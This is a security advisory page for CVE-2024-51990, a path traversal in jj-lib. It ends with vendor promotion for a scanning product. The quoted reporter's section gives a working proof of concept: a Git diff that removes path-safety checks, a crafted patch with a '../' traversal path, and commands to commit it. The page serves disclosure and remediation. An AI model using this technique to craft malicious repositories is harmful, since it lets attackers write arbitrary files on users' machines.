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GHSA-88h5-6w7m-5w56

HIGH

jj vulnerable to path traversal via crafted Git repositories

Also known asCVE-2024-51990
Published
Nov 7, 2024
Updated
Nov 7, 2024
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk44th percentile+0.42%
0.00%0.36%0.73%1.09%0.1%0.6%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🦀jj-lib

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Impact

Specially crafted Git repositories can cause jj to write files outside the clone.

Patches

Fixed in 0.23.0.

Workarounds

Not much other than to not clone repositories from untrusted sources.

References

Here's the original report from @joernchen:

When cloning a crafted Git repository it is possible to let jj write into arbitrary directories. This can be achieved by having file objects which contain path traversals.

Reproduction steps:

Apply the following patch to Git version v.2.47.0:

diff --git a/path.c b/path.c
index 93491bab14..2f47e69fd1 100644
--- a/path.c
+++ b/path.c
@@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)

 static const char *cleanup_path(const char *path)
 {
-       /* Clean it up */
+       /* Clean it up
        if (skip_prefix(path, "./", &path)) {
                while (*path == '/')
                        path++;
-       }
+       }*/
        return path;
 }

@@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)

 int normalize_path_copy(char *dst, const char *src)
 {
-       return normalize_path_copy_len(dst, src, NULL);
+//     return normalize_path_copy_len(dst, src, NULL);
+       memcpy(dst, src, strlen(dst));
+       return 0;
 }

 int strbuf_normalize_path(struct strbuf *src)
diff --git a/read-cache.c b/read-cache.c
index 3c078afadb..2eb44cb26f 100644
--- a/read-cache.c
+++ b/read-cache.c
@@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,
                                                    unsigned mode)
 {
        char c = 0;
+       return PATH_OK;

        if (has_dos_drive_prefix(path))
                return PATH_INVALID;

With this patched git binary we can now apply a crafted patch containing a path traversal to a repository.

The patch would look like:

From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001
From: joernchen <[[email protected]](mailto:[email protected])>
Date: Sun, 13 Oct 2024 18:09:50 +0200
Subject: [PATCH] z123

---
 z | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 z

diff --git a/../joernchen_was_here b/../joernchen_was_here
new file mode 100644
index 0000000..e69de29
--
2.46.1

Note the traversal ../joernchen_was_here in the patch. This now can be committed to a repository using the modified git binary:

mkdir demo
cd demo
git init
./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch
rm ../joernchen_was_here # remove the file the modified git wrote

Now, when cloning that repository with jj git clone the path traversal will write above the worktree directory, allowing arbitrary file writes.

I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For reproduction it should be sufficient to do jj git clone demo.git after unpacking the tarball.

The demo repository after being cloned with jj will create an empty file joernchen_was_here right next to the demo directory to demonstrate the traversal.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🦀crates.iojj-liball versions0.23.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jj-lib. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update jj-lib to 0.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-88h5-6w7m-5w56 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-88h5-6w7m-5w56 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-88h5-6w7m-5w56. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact Specially crafted Git repositories can cause `jj` to write files outside the clone. ### Patches Fixed in 0.23.0. ### Workarounds Not much other than to not clone repositories from untrusted sources. ### References Here's the original report from @joernchen: > When cloning a crafted Git repository it is possible to let `jj` write > into arbitrary directories. This can be achieved by having file objects > which contain path traversals. > > Reproduction steps: > > Apply the following patch to Git version v.2.47.0: > > ```diff > diff --git a/path.c b/path.c > index 93491bab14
O3 Security · Impact-Aware SCA

Is GHSA-88h5-6w7m-5w56 in your dependencies?

O3 detects GHSA-88h5-6w7m-5w56 across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.